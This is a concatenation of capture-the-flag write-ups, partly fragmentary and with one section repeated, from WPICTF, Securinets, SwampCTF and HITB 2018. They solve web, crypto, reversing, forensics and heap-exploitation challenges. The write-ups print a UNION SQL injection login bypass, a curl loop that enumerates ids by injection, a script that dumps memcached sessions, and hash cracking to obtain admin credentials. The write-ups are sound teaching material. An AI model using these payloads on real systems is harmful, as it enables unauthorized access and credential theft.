$ curl -v https://dance.wpictf.xyz > GET / HTTP/1.1 ... > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 19:35:02 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <title>Redirecting...</title> ...
Two cookies are given:
> `flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=`
This should be our flag. It looks like base64, but it produces garbage after decoding.
> `Julius C.="got good dance moves."`
Julius C. here is a hint / reference to Julius Caesar, and hence the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher). This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself:
#!/usr/bin/env python import base64, string flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=" upper = string.ascii_uppercase lower = string.ascii_lowercase for key in range(1, 26): shift = string.maketrans( upper + lower, upper[key:] + upper[:key] + lower[key:] + lower[:key]) print key, base64.b64decode(string.translate(flag, shift))
> [link to script](scripts/web-150-dance-shift.py)
(Or use a website like [this](https://www.xarg.org/tools/caesar-cipher/).)
And, sure enough, with a key of 17, we get:
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
---
## Web / 200 Vault ##
**No files provided**
**Description**
> https://vault.wpictf.xyz> > UPDATE: everything fixed> > by GODeva
**Solution**
We are greeted with a login screen. The page sourcecode has two interesting comments:
We are given the full schema for the `clients` table, so it is pretty clear we will be dealing with a SQL injection of some sort. The other comment:
$ echo "V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt" | base64 -D What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham
So just a red herring. The register button links to [this useful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ). Let's try putting some data in the form.
> Username: '> Password: x
Very useful! We can even expand the last entry in the traceback to see the surrounding code:
> File "/home/vault/vault/secretvault.py", line 58, in login> connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))> pointer = connection.cursor()> > search = """SELECT id, hash, salt FROM clients> WHERE clientname = '{0}' LIMIT 1""".format(clientname)> pointer.execute(search)> > res = pointer.fetchone()> if not res:> return "No such user in the database {0}!\n".format(clientname)> userID, hash, salt = res
Very clear SQL injection vulnerability. Unfortunately, it looks like the server first selects a row from the table based on `clientname`, then checks the `hash` + `salt` at a later point. No problem, we can use a SQL `UNION` statement to make our own login credentials. We make an informed guess that the hashing algorithm is SHA-256. It is not clear whether the salt is appended or prepended, so let's just not have any. We can find out the SHA-256 hash of a password of our choosing easily:
$ python -c 'from hashlib import sha256; print sha256("foobar").hexdigest()' c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
The full data that we'd like to have in the table is:
| `id` | `hash` | `salt` || --- | --- | --- || "0" | "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" | "" |
We'll get to `id` later, so we put 0 for now (but the column type is still `VARCHAR(255)`). Knowing the query the server executes, we construct the following injection:
' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --
So after Python formats the query string, the result is:
SELECT id, hash, salt FROM clients WHERE clientname = '' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", ""
(Everything after is ignored due to the comment marker ` -- `.)
In other words, the server is looking for clients with `clientname` equal to the empty string, and concatenates the (non-existent) results of that query with our inline data.
To login:
> Username: ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > Password: foobar
It works, and we are greeted with the message:
Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ" (Log out)
I'll let you guess what that video is. There is nothing else we can change in our login except for the `id` - it seems the server serves different "digital secrets" based on the `id` of the logged-in user. We can figure out the `id` for user `Goutham`, since the red herring comment hinted that `Goutham` knows the flag. Given that `id` is a `VARCHAR(255)`, the search space could be quite large, and we could use a character-by-character binary search. Luckily, it is a single digit.
#!/bin/bash for id in {0..9}; do echo "$id" curl --data-urlencode "clientname=Goutham' AND id = '$id' -- " \ --data-urlencode "password=a" "https://vault.wpictf.xyz/login" done
> [link to script](scripts/web-200-vault-getid.sh)
The above script injects the additional condition for `id` value into the SQL query. Only when both `clientname` and `id` match a record in the table will a row be found in the result. We can distinguish the two cases based on the different error messages produces ("no such user" vs. "incorrect password"). So we find out that `Goutham` has `id` "2".
> Username: ' UNION SELECT "2", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > Password: foobar
And that works:
Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" (Log out)
---
## Reversing / 50 Penguin ##
**Files provided**
> [`penguin`](files/50-penguin) (binary file)
**Description**
> made by awg
**Solution**
This challenge asks us to give it the flag in the argument and it tells us whether or not it is the correct flag. There are some interesting strings to be found:
$ strings penguin ... _hexedit} _fly._ learn_ have_ _still_ _wings,_ gives_ only_ strings_ WPI{ ...
Useful, but `WPI{strings_only_gives__wings,__still_have_learn__fly.__hexedit}` is not the flag. Clearly something is missing. If we do a hexdump, we can locate the strings found:
$ xxd penguin ... 0000a20: 6974 2100 5752 4f4e 4700 5f68 6578 6564 it!.WRONG._hexed 0000a30: 6974 7d00 7472 7900 5f66 6c79 2e5f 005f it}.try._fly._._ 0000a40: 746f 0068 6f77 006c 6561 726e 5f00 746f to.how.learn_.to 0000a50: 5f00 6861 7665 5f00 5f73 7469 6c6c 5f00 _.have_._still_. 0000a60: 796f 7500 5f77 696e 6773 2c5f 0067 6976 you._wings,_.giv 0000a70: 6573 5f00 6f6e 6c79 5f00 7374 7269 6e67 es_.only_.string 0000a80: 735f 0057 5049 7b00 011b 033b 3c00 0000 s_.WPI{....;<... ...
So, with some intense word reading in reverse and guessing based on consecutive underscores in our initial guess, we get:
WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}
> Note: The challenge was solved using `radare2`, but I like to think this method was plausible. And more importantly, I did not want to get into annotating the lenghty, visual-heavy process of debugging a binary with `radare2`.
---
## Misc / 1 Read ##
**No files provided**
**Description**
> WPI{Hey_You_can_R3AD!}
**Solution**
...
---
## Misc / 2 Get a job ##
**No files provided**
**Description**
> WPI{Get_a_job}
**Solution**
...
> Note: the text in the description was a link to a careers page of some company. Unfortunately, I don't have the link URL anymore.
---
## Misc / 5 Feedback ##
> Note: this was a link to a survey, which gave the flag.
---
## Misc / 10 Discord ##
**No files provided**
**Description**
> (discord link)> > Flag is somewhere in discord. /flag bot does not reply to messages. It's only there for kittens.
**Solution**
The topic of the `#discord_chal` channel was `WPI{Welcome_to_Disc0rd_ya-D00fus} is the flag for the discord challenge.`
## Misc / 50 Kittens ##
**No files provided**
**Description**
> discord> > created by binam> > this challenge is stupid
**Solution**
The `#discord_chal` channel had a bot which responded to `flag` in messages:
[1:00 PM] User: flag [1:00 PM] BOT/flag: @User, Every time you type "flag", a kitten dies! You killed 1 kittens. Total dead kitten count: 100
Putting hundreds of `flag` in one message was allowed. After 65535, the counter overflowed, and the bot printed a flag for the user. However, the message with the flag was automatically removed after a short while.
## Misc / 100 Sneakers ##
**No files provided**
**Description**
> nc sneakers.wpictf.xyz 31337> > redundant servers on 31338 and 31339> > made by rm -k> > Hint: ?v=F5bAa6gFvLs
**Solution**
The hint is for [this video](https://www.youtube.com/watch?v=F5bAa6gFvLs).
After `nc sneakers.wpictf.xyz 31337`, we are greeted with a big block of 1's and 0's:
00 01 10 10 11 10 11 10 00 01 10 00 01 10 10 00 10 10 10 01 00 11 01 10 00 01 00 01 00 11 01 00 11 11 01 00 10 11 00 10 01 01 00 10 00 10 10 00 00 10 10 00 10 00 00 00 00 10 00 00
10 10 10 00 01 10 10 11 01 11 10 10 00 00 00 01 00 10 10 00 10 10 01 00 11 01 11 00 10 01 00 10 11 00 00 10 00 10 10 00 10 10 00 00 10 00 10 10 00 10 00 10 10 00 01 00 10 10 10 00
10 11 10 11 00 11 01 10 10 00 11 10 10 00 01 10 10 00 11 10 01 01 10 01 00 11 10 10 01 00 01 01 00 00 11 11 01 00 10 10 10 10 10 11 00 00 00 11 00 00 11 10 11 00 10 00 00 00 00 10
10 11 00 01 11 00 11 10 10 00 11 10 11 00 11 10 10 10 10 00 00 11 00 10 10 00 01 01 00 00 00 00 01 00 10 11 01 10 01 00 00 00 00 00 00 00 11 10 11 00 00 00 10 00 10 10 10 11 00 00
01 10 10 01 00 11 10 10 00 10 10 10 00 10 01 01 10 10 10 10 11 11 00 11 00 01 01 00 00 00 11 01 00 10 10 10 00 00 10 10 10 00 00 10 00 11 10 11 00 00 10 00 00 11 00 10 11 00 10 10
11 00 01 11 11 10 01 10 10 11 00 00 00 11 10 10 10 01 10 00 01 00 10 00 10 00 10 11 01 01 11 00 00 10 10 01 00 10 01 00 11 00 00 10 10 00 00 10 00 00 01 00 01 10 10 00 00 10 00 00
01 11 11 10 00 00 11 10 11 01 01 11 10 10 00 00 01 11 00 10 11 01 10 01 00 00 00 01 01 11 10 01 00 01 00 00 10 01 00 10 10 11 10 00 00 10 00 10 10 10 00 10 11 00 10 00 00 10 00 00
10 10 01 10 10 10 00 01 10 00 10 10 11 01 11 00 00 00 10 10 11 00 10 10 10 01 00 11 01 00 10 01 11 10 01 11 00 00 11 01 10 00 00 10 10 00 00 10 10 00 00 00 00 00 10 01 00 01 00 10
01 00 01 10 00 01 10 01 01 10 00 10 00 10 10 01 11 10 11 01 11 00 11 01 00 11 11 10 11 01 00 00 00 11 01 10 10 01 01 10 01 00 10 10 00 01 10 00 10 00 00 00 00 10 00 10 10 10 10 10
10 00 00 00 01 10 01 01 10 00 10 10 11 10 00 10 10 01 00 10 01 00 00 00 11 11 10 11 01 00 01 00 00 11 00 11 01 11 00 01 00 11 00 01 01 10 00 10 00 00 00 00 00 00 00 10 10 01 00 10
11 00 10 10 10 01 10 10 10 00 10 01 00 01 01 00 01 00 10 11 10 00 10 11 00 10 10 10 01 00 00 10 00 01 11 00 10 00 00 01 00 00 00 10 00 00 10 10 00 00 00 10 00 11 00 10 10 00 00 10
11 00 01 10 00 01 00 00 01 10 10 11 00 11 10 10 11 10 00 10 01 00 01 00 00 10 10 00 11 11 01 01 00 10 10 00 00 01 00 00 00 00 11 00 10 10 00 00 10 00 00 10 00 10 10 00 00 00 00 00
11 00 00 11 00 00 10 01 00 01 10 10 00 10 11 11 00 10 11 00 01 00 00 00 00 00 00 11 00 11 11 01 00 01 01 01 00 01 10 00 10 00 10 11 10 00 00 10 00 10 00 00 00 00 10 00 00 10 00 00
01 10 10 00 10 10 01 00 00 00 01 10 01 01 00 11 10 10 11 01 11 11 01 00 11 01 11 11 00 00 11 11 10 10 00 00 01 00 01 10 10 00 00 00 10 10 01 01 00 01 10 00 00 10 00 10 00 00 10 10
00 01 10 10 01 00 10 10 10 00 01 10 10 10 10 00 10 10 01 01 00 11 11 00 11 00 00 10 10 00 11 11 11 01 01 00 11 01 11 10 00 10 00 00 10 00 00 10 10 00 10 00 10 00 00 00 10 10 01 10
00 10 10 10 00 01 10 01 01 01 10 11 00 10 11 00 10 00 01 01 00 00 11 01 00 11 11 10 11 11 01 01 00 01 01 00 00 00 10 10 00 00 10 00 00 01 10 00 10 10 00 10 00 10 10 00 00 00 10 00
11 11 10 10 00 10 01 11 10 00 10 11 00 01 11 11 10 01 00 00 01 11 10 01 00 10 10 01 01 00 01 10 00 10 01 10 00 11 10 00 10 00 10 00 00 10 00 10 00 00 10 00 00 00 10 10 11 10 00 00
01 11 00 01 10 10 00 11 10 10 11 00 00 00 00 11 00 00 00 11 10 01 00 11 11 01 00 10 01 11 00 00 11 11 11 00 11 11 11 00 00 10 00 10 00 00 00 00 10 10 10 00 01 01 01 11 01 01 01 11
00 00 00 11 00 11 11 11 00 11 01 01 01 11 01
Given the video which features a blind hacker using a Braille "monitor", it was quite clear these 1's and 0's represented Braille characters.
After some automated deciphering:
Welcome to the brai lle terminal! I'll only give you the fl ag if you can prove that you are visuall y impaired. Please type 'continue' in b raille to begin. Ho w to write a respons e- Write each row o f braille as 0's an d 1's, then place a n 'x' at the end of the row. This means that all three rows are written on a si ngle line of input, in the form ...x...x
The individual parts of the challenge asked to:
- type `continue` - solve a simple mathematical problem and give the numerical solution - type `ACCESS FLAG!` - type `please`
The final `please` was a response to the server saying "Ah ah ah, you didn't say the magic word!", and referencing [this video](https://www.youtube.com/watch?v=RfiQYRn7fBg).
## Misc / 100 Bitpuzzler ##
**No files provided**
**Description**
> nc bitpuzzler.wpictf.xyz 31337> > redundant servers on 31338 and 31339> > made Jacob Henry
**Solution**
Connecting to the given server results in it printing something like:
----- #include <stdlib.h> #include <stdio.h> #include <stdint.h>
inline int64_t pmod(int64_t x) { int64_t v = x % 13707217; if(v < 0) return v + 13707217; else return v; }
int main(int argc, char** argv) { int64_t x; scanf("%ld", &x); x = pmod(x); x = pmod(x - 2765383); x = pmod(x - 11088075); x = pmod(x + 53063); // etc etc etc, for a total of 100 operations x = pmod(x * 2486459); x = pmod(x * 4797058); x = pmod(x * 8426160); if(x == 8594918) { printf("Success\n"); return 0; } else { printf("Failure\n"); return 1; } } -----
With different numbers every time. This challenge required some automation, since the server would automatically close the connection after 10 seconds. Furthermore, the server gives a dozen or two scripts like the above one after the other.
The automated solver is fairly simple. It requires reversing the operations from the target number and finding out the correct input. Addition and subtraction in modular arithmetic are very simple. The only slightly non-trivial operation to reverse is the multiplication, which requires solving a linear congruence equation (like `a * b === c mod m`, find `b` for a given `a`, `c`, and `m`). Checking each integer in the range `[1; m)` is just too slow, so the [Extended Euclidian algorithm](https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm) was used. |
# CTFSecurinets Quals 2018 WriteupThis repository serves as a writeup for CTFSecurinets Final 2018
## SASL Memcached
**Category:** Web**Points:** 299**Author:** TheEmperors**Description:**
> The Emperor worked in the development of a website in which, authenticated sessions should be logged in a cache server. So he developped this feature in a Memcached server. And to prevend anyone to connect to the Memcached server, he enabled the SASL authentication in the Memcached server. After he finished the development of this feature, The Emperor was fired from this team to another one in the same enterprise. The Emperor wanted to make a revenge on his chief. The Emperor remembred that he own only the memcached credentials and he want to get the admin credentials of the website. Can you help him to successfully authenticate using the admin credentials ? "SASL login=SASL password=securinets_SAAASLLL_hahaha_ok_Xd"> Link : http://192.168.1.101/
**Hint:**
> The Emperors said that keys stored in the Memcached server are an incremented integer
### Write-upWhen visiting the link of the web application, we find out an authentication form :
After reading the description, it seems that there is no way to bypass authentication without searching the credentials from the memcached server.
But when we tried to authenticate to the memcached server with netcat or telnet. We even tried dumping the memcached key with memcdump command but we failed. Because these commands doesn't require credentials. And in this task we have to authenticate to the memcached server using the given credentials.
So it smells a kind of programming web task.
We tried to authenticate to the memcached server using memcached library in PHP but we failed.
But hopefully, in Python, we found the bmemcached library (binary memcached). We installed it and we tested it and it worked like a charm:
```pip install bmemcachedpython -c "import bmemcached;client = bmemcached.Client(('192.168.1.101:11211', ), 'securinets_SAAASLLL_hahaha_ok_Xd','securinets_SAAASLLL_hahaha_ok_Xd');client.set('key', 'value');print client.get('key');"```
Output :```value```
So after authenticating to this memcached server and writing and reading some data, we can continue solving this task.
After searching how to dump the memcached data, we found that there is no command that can did this in a binary memcached server (a memcached server in which we authenticated using a SASL credentials). So, if we don't know the keys, we can't did anything.
In the hint, the developper said that the keys stored in the Memcached server are an incremented integer. So we tried to read the key number 1 :```python -c "import bmemcached;client = bmemcached.Client(('192.168.1.101:11211', ), 'securinets_SAAASLLL_hahaha_ok_Xd','securinets_SAAASLLL_hahaha_ok_Xd');print client.get('1');"```
Output :```C:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":742:{a:3:{i:0;N;i:1;s:4:"main";i:2;s:702:"a:4:{i:0;O:41:"Symfony\Component\Security\Core\User\User":7:{s:51:"Symfony\Component\Security\Core\User\Userusername";s:6:"simple";s:51:"Symfony\Component\Security\Core\User\Userpassword";s:128:"2ed75bf2ad6cf1bf10224192e08d3f856e9d09d9b554fdb9e0bac60ef2772baa18d0d261858931a8b14db32646702f43c26748d2b5d2cb388a99a40266e548d5";s:50:"Symfony\Component\Security\Core\User\Userenabled";b:1;s:60:"Symfony\Component\Security\Core\User\UseraccountNonExpired";b:1;s:64:"Symfony\Component\Security\Core\User\UsercredentialsNonExpired";b:1;s:59:"Symfony\Component\Security\Core\User\UseraccountNonLocked";b:1;s:48:"Symfony\Component\Security\Core\User\Userroles";a:0:{}}i:1;b:0;i:2;a:0:{}i:3;a:0:{}}";}}```
Nice ! This web application is based on the Symfony framework and the session stored in the memcached server contains the user information from the `UsernamePasswordToken` class object.
The username used here is ```simple``` and the password is ```2ed75bf2ad6cf1bf10224192e08d3f856e9d09d9b554fdb9e0bac60ef2772baa18d0d261858931a8b14db32646702f43c26748d2b5d2cb388a99a40266e548d5```. But these credentials doesn't works. Maybe this password is a hash.
We tried the easy solution by cracking this hash in crackstation.net and we found that this hash is the ```sha512(password)```. And the password value iss ```simple```.
So we tried this credentials:```Login=simplePassword=simple```
We successfully authenticated but we found this message:```You are not an admin user !```
We figured out that we only have tried to authenticate with a simple user and not with an administrator user. So we have to read all the memcached keys value in python:
```pythonimport bmemcachedclient = bmemcached.Client(('192.168.1.101:11211', ), 'securinets_SAAASLLL_hahaha_ok_Xd','securinets_SAAASLLL_hahaha_ok_Xd')for i in range(50): print client.get(str(i))```
Output :```C:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":742:{a:3:{i:0;N;i:1;s:4:"main";i:2;s:702:"a:4:{i:0;O:41:"Symfony\Component\Security\Core\User\User":7:{s:51:"Symfony\Component\Security\Core\User\Userusername";s:6:"simple";s:51:"Symfony\Component\Security\Core\User\Userpassword";s:128:"2ed75bf2ad6cf1bf10224192e08d3f856e9d09d9b554fdb9e0bac60ef2772baa18d0d261858931a8b14db32646702f43c26748d2b5d2cb388a99a40266e548d5";s:50:"Symfony\Component\Security\Core\User\Userenabled";b:1;s:60:"Symfony\Component\Security\Core\User\UseraccountNonExpired";b:1;s:64:"Symfony\Component\Security\Core\User\UsercredentialsNonExpired";b:1;s:59:"Symfony\Component\Security\Core\User\UseraccountNonLocked";b:1;s:48:"Symfony\Component\Security\Core\User\Userroles";a:0:{}}i:1;b:0;i:2;a:0:{}i:3;a:0:{}}";}}... (many objects of the simple user)C:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":756:{a:3:{i:0;N;i:1;s:4:"main";i:2;s:716:"a:4:{i:0;O:41:"Symfony\Component\Security\Core\User\User":7:{s:51:"Symfony\Component\Security\Core\User\Userusername";s:19:"admin_is_theemperor";s:51:"Symfony\Component\Security\Core\User\Userpassword";s:128:"fe0468680d4f90bf7446e49a3c9100b490a8db06df47588320921a36f0b92703dc7284797bb391a766cbec7c92a9cffa7d1b535c7aa4d345788d0153a93a1ee6";s:50:"Symfony\Component\Security\Core\User\Userenabled";b:1;s:60:"Symfony\Component\Security\Core\User\UseraccountNonExpired";b:1;s:64:"Symfony\Component\Security\Core\User\UsercredentialsNonExpired";b:1;s:59:"Symfony\Component\Security\Core\User\UseraccountNonLocked";b:1;s:48:"Symfony\Component\Security\Core\User\Userroles";a:0:{}}i:1;b:0;i:2;a:0:{}i:3;a:0:{}}";}}... (many objects of the simple user)C:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":742:{a:3:{i:0;N;i:1;s:4:"main";i:2;s:702:"a:4:{i:0;O:41:"Symfony\Component\Security\Core\User\User":7:{s:51:"Symfony\Component\Security\Core\User\Userusername";s:6:"simple";s:51:"Symfony\Component\Security\Core\User\Userpassword";s:128:"2ed75bf2ad6cf1bf10224192e08d3f856e9d09d9b554fdb9e0bac60ef2772baa18d0d261858931a8b14db32646702f43c26748d2b5d2cb388a99a40266e548d5";s:50:"Symfony\Component\Security\Core\User\Userenabled";b:1;s:60:"Symfony\Component\Security\Core\User\UseraccountNonExpired";b:1;s:64:"Symfony\Component\Security\Core\User\UsercredentialsNonExpired";b:1;s:59:"Symfony\Component\Security\Core\User\UseraccountNonLocked";b:1;s:48:"Symfony\Component\Security\Core\User\Userroles";a:0:{}}i:1;b:0;i:2;a:0:{}i:3;a:0:{}}";}}... (many objects of the simple user)None... (many None)None```
So the interesting line is this line which contains the administrator credentials:```C:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":756:{a:3:{i:0;N;i:1;s:4:"main";i:2;s:716:"a:4:{i:0;O:41:"Symfony\Component\Security\Core\User\User":7:{s:51:"Symfony\Component\Security\Core\User\Userusername";s:19:"admin_is_theemperor";s:51:"Symfony\Component\Security\Core\User\Userpassword";s:128:"fe0468680d4f90bf7446e49a3c9100b490a8db06df47588320921a36f0b92703dc7284797bb391a766cbec7c92a9cffa7d1b535c7aa4d345788d0153a93a1ee6";s:50:"Symfony\Component\Security\Core\User\Userenabled";b:1;s:60:"Symfony\Component\Security\Core\User\UseraccountNonExpired";b:1;s:64:"Symfony\Component\Security\Core\User\UsercredentialsNonExpired";b:1;s:59:"Symfony\Component\Security\Core\User\UseraccountNonLocked";b:1;s:48:"Symfony\Component\Security\Core\User\Userroles";a:0:{}}i:1;b:0;i:2;a:0:{}i:3;a:0:{}}";}}```
After cracking the password administrator we found this credentials:```Login=admin_is_theemperorPassword=a0000```
Now, we authenticate using this credentials and we find the flag:```Congratulations ! your flag is Flag{Y0_M3mc4cH3d_W1tH_S4SL_4r3_h3LL_xD}```
So the flag is : ```Flag{Y0_M3mc4cH3d_W1tH_S4SL_4r3_h3LL_xD}```.
For more information how to authenticate to memcached using SASL credentials in all programming language, you can find [here more details](https://devcenter.heroku.com/articles/memcachier).
___
# Scoreboard
This is the scoreboard and the ranking for the 5 teams that they solved at least one task in this CTF :
Summary:
Detailed :
If you need the Json file of the scoreboard, you can find it [scoreboard/jsonAdvanced.json](here)
|
I was sniffing some important piece of data transmitted via USB. This pcap file contains all what we need to recover the flag can you help ?
Solution :
The pcap file showed 3 files being transferred to the USB drive.
a text file is one of the interresting files contains some base64 code, we extract the file using wireshark we decode it we got a maxicode pic using online decoder https://zxing.org/w/decode.jspx we got the flag :
HZVI{m4x1c0d3_15_4w350m3}
|
# For The Vault in swampctf 2018
We are given a login form. Whatever credentials we enter to the form is submitted to the function `login()`.```<form class="form-signin" onsubmit="return login()">```
### Analysis of the login function
This is the `login()` function:```<script>function login(){ var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4) { if(this.status == 200){ alert(xhttp.responseText); window.location.href = 'https://youtu.be/rWVeZx2IP30?t=3'; } else { alert('Invalid Credentials') } } }; xhttp.open("POST", "/login/"+document.getElementById('inputName').value+"."+document.getElementById('inputPassword').value, true); xhttp.send(); return false;}
</script>```
You may ignore the youTube link. If the user credentials are correct, we execute `alert(xttp.responseText);`. I assume the flag is in there. If the credentials are wrong, we execute `alert('Invalid Credentials')`.
Remember, javascript is executed on the client side, so that means we are free to change how the user credentials are sent to the server via AJAX and what we do with the response.
Assuming the flag is in `xhttp.responseText`, I thought I could bypass the login by changing the script to``` if(this.status == 200){ alert(xhttp.responseText); window.location.href = 'https://youtu.be/rWVeZx2IP30?t=3'; } else { console.log(xhttp.responseText); }```
I gave a random input username: `user` and password: `password`. I got this response:```
<html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body>No such user: user</body></html>```
Ok, so... which user exists? Hint: "Only the DUNGEON_MASTER may enter the vault".
Let's try the input username: `DUNGEON_MASTER` and password: `password`. I got this response:```
<html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body>test_hash [5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8] does not match real_hash[40f5d109272941b79fdf078a0e41477227a9b4047ca068fff6566104302169ce]</body></html>```
This is a big, big clue. `hash` means a hashing algorithm is involved. There are 64 characters in the hash, each of them representing a nibble (ie 4 bits). It smells of SHA-256.
### Decoding the password
I headed over to the online [hash decryptor](https://hashtoolkit.com/) and tested the hash `5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8` to see if it was the SHA-256 hash of `password`.
It was. This confirms that the login does not include a salt of any kind, meaning that we can simply decrypt the `real_hash`, and that will be our input password.
I [tested it out](http://hashtoolkit.com/reverse-hash/?hash=40f5d109272941b79fdf078a0e41477227a9b4047ca068fff6566104302169ce), and it worked. The DUNGEON_MASTER's password is `smaug123`.
### Winning
Giving input username:`DUNGEON_MASTER` and password:`smaug123` returns us the flag `flag{somewhere_over_the_rainbow_tables}`.
END |
We can exploit two things: First is that it's possible to test only the 11 first letters to not be uppercase letters, second is that the good hash is at same place on stack and that it's possible to not end the input hash with a \x00. So take the seed, compute 100 followings hash, send the 11 first letters of them or aaaaaaaaaaa if there is an uppercase letter, and do not end the string with a newline or a \x00. Flag follow. (See payload.py and session). |
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|
### HITB-XCTF -PWN pt.487
## Review* I alway prefer ubuntu 16.04 version when i solve the ctf.* I could not find the vulnerability in this binary.* Finally, I found that the version of libc is 2.26.(CMD => `strings libc.so.6 | grep "libc-"`)* In server, this binary is running on ubuntu 17.10.* Then, I count`t execute this binary with server libc.* ubuntu 17.04 => libc-2.25, ubuntu 17.10 => libc-2.26* Because, I was install ubuntu 17.10....
## Vulnerability* libc-2.26 is a way to info leak, and the structure of the heap is very different.
* The biggest feature of libc-2.26 is that it is double-free regardless of its size, Because we initially use a heap space called tcache, not an unsorted bin, fastbin, and so on.
## Info Leak
* The heap leak and libc leak methods are different from previous versions of libc.* libc-2.26 use tcache. tcache is used like fastbin. Therefore Heap leak is easy..but libc leak is difficult
## Libc Leak
* tcache can have a maximun of 7 chunks. Therefore by freeing more than 7 chunks, the remaining chunks will be treated as usual.* If chunk of 0x100 size is freed after 7-tcache(all) has been freed, then the freed chunk goes into unsorted bin.* Therefore, We can libc leak.
## Exploit
* libc-2.26 version can be double-free regardless of size.* So you can do exploit using **__free_hook()** address , **system()** address * It is recommended that you are debugging yourself for details. |
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**No files provided**
**Description**
> https://vault.wpictf.xyz> > UPDATE: everything fixed> > by GODeva
**Solution**
We are greeted with a login screen. The page sourcecode has two interesting comments:
We are given the full schema for the `clients` table, so it is pretty clear we will be dealing with a SQL injection of some sort. The other comment:
$ echo "V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt" | base64 -D What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham
So just a red herring. The register button links to [this useful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ). Let's try putting some data in the form.
> Username: '> > Password: x
Very useful! We can even expand the last entry in the traceback to see the surrounding code:
> File "/home/vault/vault/secretvault.py", line 58, in login> connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))> pointer = connection.cursor()> > search = """SELECT id, hash, salt FROM clients> WHERE clientname = '{0}' LIMIT 1""".format(clientname)> pointer.execute(search)> > res = pointer.fetchone()> if not res:> return "No such user in the database {0}!\n".format(clientname)> userID, hash, salt = res
Very clear SQL injection vulnerability. Unfortunately, it looks like the server first selects a row from the table based on `clientname`, then checks the `hash` + `salt` at a later point. No problem, we can use a SQL `UNION` statement to make our own login credentials. We make an informed guess that the hashing algorithm is SHA-256. It is not clear whether the salt is appended or prepended, so let's just not have any. We can find out the SHA-256 hash of a password of our choosing easily:
$ python -c 'from hashlib import sha256; print sha256("foobar").hexdigest()' c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
The full data that we'd like to have in the table is:
| `id` | `hash` | `salt` || --- | --- | --- || "0" | "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" | "" |
We'll get to `id` later, so we put 0 for now (but the column type is still `VARCHAR(255)`). Knowing the query the server executes, we construct the following injection:
' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --
So after Python formats the query string, the result is:
SELECT id, hash, salt FROM clients WHERE clientname = '' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", ""
(Everything after is ignored due to the comment marker ` -- `.)
In other words, the server is looking for clients with `clientname` equal to the empty string, and concatenates the (non-existent) results of that query with our inline data.
To login:
> Username: ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > > Password: foobar
It works, and we are greeted with the message:
Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ" (Log out)
